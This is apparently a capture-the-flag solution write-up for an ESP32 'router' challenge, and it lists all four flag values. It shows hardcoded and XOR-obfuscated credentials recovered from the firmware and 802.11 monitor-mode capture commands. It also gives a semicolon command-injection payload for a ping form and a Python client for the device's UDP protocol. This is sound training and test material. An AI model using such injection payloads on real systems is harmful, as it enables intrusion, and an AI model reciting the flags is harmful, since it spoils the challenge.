# Jnouner Router — Solution

**Category:** ESP | **Type:** Multi-part (4 flags)

| Flag | Name             | Points | Flag value                        |
|------|-----------------|--------|-----------------------------------|
| 1/4  | Console Access  | 100    | `ESPILON{Jn0un3d_4dM1N}`          |
| 2/4  | 802.11 TX       | 200    | `ESPILON{802_11_tx_jnned}`         |
| 3/4  | Admin Panel     | 300    | `ESPILON{Adm1n_4r3_jn0uned}`       |
| 4/4  | JMP Protocol    | 400    | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}`    |

## Setup

Flash the firmware on an ESP32:

```bash
esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \
    0x1000  bootloader.bin \
    0x8000  partition-table.bin \
    0x10000 jnouned_router.bin
```

Open the UART console:

```bash
screen /dev/ttyUSB0 115200
```

---

## Flag 1 — Console Access

The UART console shows a `jnoun-console>` prompt. The password is hardcoded in
the firmware as three concatenated parts. Read the ELF strings or reverse
`build_admin_password()` in `admin.c`:

```
p1 = "jnoun-"
p2 = "admin-"
p3 = "2022"
→ password = "jnoun-admin-2022"
```

```text
admin_login jnoun-admin-2022
```

Flag 1 is printed on success.

---

## Flag 2 — 802.11 TX

From the admin console, trigger 802.11 frame emission:

```text
settings          ← reveals WiFi SSID/PSK (XOR-obfuscated in firmware)
start_emitting    ← starts sending raw 802.11 data frames for 90 seconds
```

WiFi credentials recovered from firmware (`wifi.c`, XOR key `0x37`):

- **SSID**: `Jnoun-3E4C`
- **PSK**: `LAIN_H4v3_Ajnoun`

Put a WiFi card into **monitor mode** and capture the 802.11 frames while the
flooder runs. Among random noise frames, one frame (emitted at a random time
between 5 and 85 seconds) contains flag 2 in its payload:

```bash
airmon-ng start wlan0
tcpdump -i wlan0mon -w capture.pcap
# or
tshark -i wlan0mon -w capture.pcap
```

Filter for non-noise frames (payload not all-random). Flag 2 appears as cleartext
in the 802.11 data frame payload.

---

## Flag 3 — Admin Panel

Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router runs an
HTTP server at `http://192.168.4.1`.

Login with default credentials: `admin` / `admin`.

The `/admin` page contains a "ping" form that posts to `/api/ping`. The admin
page hints: *"Parser séparateur ';'"* — the internal shell splits on `;`.

Inject via the `target` field:

```text
POST /api/ping
target=192.168.1.1; flag
```

Flag 3 is printed to the UART console (`ESP_LOGE` output).

Or URL-encoded via curl:

```bash
curl -b "auth=1" -X POST http://192.168.4.1/api/ping \
    -d "target=x%3B+flag"
```

---

## Flag 4 — JMP Protocol

From the admin panel, trigger the exfiltration session:

```text
target=x; start_session
```

The UART console shows:

```text
JMP Server listening on UDP:6999
PROTOCOL INITIALIZATION LEAK:
  Magic: 0x4A4D5021
  Auth hash (SHA256): <hash>
  Hint: Secret pattern is JNOUNER_SECRET_XXXX
```

The secret is `JNOUNER_SECRET_EXFILTRATION`. Authenticate with its SHA256 hash,
then request data blocks:

```python
import socket, struct, hashlib

HOST = "192.168.4.1"
PORT = 6999
MAGIC = 0x4A4D5021
SECRET = b"JNOUNER_SECRET_EXFILTRATION"

secret_hash = hashlib.sha256(SECRET).digest()

# AUTH_REQUEST: magic(4) + type(1=0x01) + hash(32)
auth_pkt = struct.pack(">IB", MAGIC, 0x01) + secret_hash
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(auth_pkt, (HOST, PORT))

# AUTH_RESPONSE: magic(4) + type(1) + status(1) + token(4)
resp, _ = sock.recvfrom(1024)
magic, ptype, status, token = struct.unpack(">IBBI", resp[:10])
print(f"Token: 0x{token:08x}")

# Request all blocks
flag = b""
for block_id in range(10):
    # DATA_REQUEST: magic(4) + type(1=0x10) + token(4) + block_id(1)
    req = struct.pack(">IBIB", MAGIC, 0x10, token, block_id)
    sock.sendto(req, (HOST, PORT))
    resp, _ = sock.recvfrom(1024)

    # DATA_RESPONSE: magic(4)+type(1)+block_id(1)+total_blocks(1)+data_len(1)+data(N)+checksum(2)
    if len(resp) < 8:
        break
    _, _, bid, total, dlen = struct.unpack(">IBBBB", resp[:8])
    data = resp[8:8+dlen]
    flag += data
    if bid + 1 >= total:
        break

print(flag.decode())
```

## Author

Eun0us
